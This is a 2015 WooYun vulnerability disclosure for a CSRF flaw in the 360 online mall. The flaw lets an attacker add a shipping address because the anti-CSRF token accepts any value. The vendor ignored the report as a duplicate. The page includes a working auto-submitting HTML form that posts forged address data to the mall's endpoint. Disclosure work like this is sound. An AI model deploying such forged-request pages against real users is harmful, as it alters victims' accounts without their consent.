当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0133006

漏洞标题：360商城CSRF添加收货地址

相关厂商：奇虎360

漏洞作者： 小屿

提交时间：2015-08-10 11:57

修复时间：2015-08-10 12:11

公开时间：2015-08-10 12:11

漏洞类型：CSRF

危害等级：低

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-10： 细节已通知厂商并且等待厂商处理中
2015-08-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

啦啦啦

详细说明：

token没有什么卵用，可以乱填

<html>
<body>
<form action="http://mall.360.com/user/doAddAddr" method="POST">
<input type="hidden" name="realname" value="test" />
<input type="hidden" name="mobile" value="18888888888" />
<input type="hidden" name="address" value="test" />
<input type="hidden" name="postcode" value="" />
<input type="hidden" name="addr_id" value="" />
<input type="hidden" name="provinceid" value="110000" />
<input type="hidden" name="province" value="110000" />
<input type="hidden" name="cityid" value="110100" />
<input type="hidden" name="city" value="110100" />
<input type="hidden" name="countyid" value="110101" />
<input type="hidden" name="county" value="110101" />
<input type="hidden" name="qtoken" value="11111" />
<input type="hidden" name="detail" value="test" />
</form>
	<script>
      document.forms[0].submit();
    </script>
</body>
</html>


QQ截图20150810113414.png

漏洞证明：

QQ截图20150810113437.png

修复方案：

严格验证哦

版权声明：转载请注明来源 小屿@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-08-10 12:11

厂商回复：

感谢关注360产品安全，该问题在360SRC平台上白帽子提交过，所以忽略，望请理解。有任何问题可以反馈到360应急响应中心官方渠道，网址：http:// 邮件：g-sec-src

最新状态：

暂无

漏洞评价：

评论

  1. 2015-08-10 14:39 | 小屿 ( 路人 | Rank:17 漏洞数:3 | 233)

    劳资无语了

  2. 2015-08-18 21:42 | Nerd Tsai ( 路人 | Rank:16 漏洞数:9 | 还在努力学习中...Orz)

    哈哈，，也是醉了，对你表示深深的同情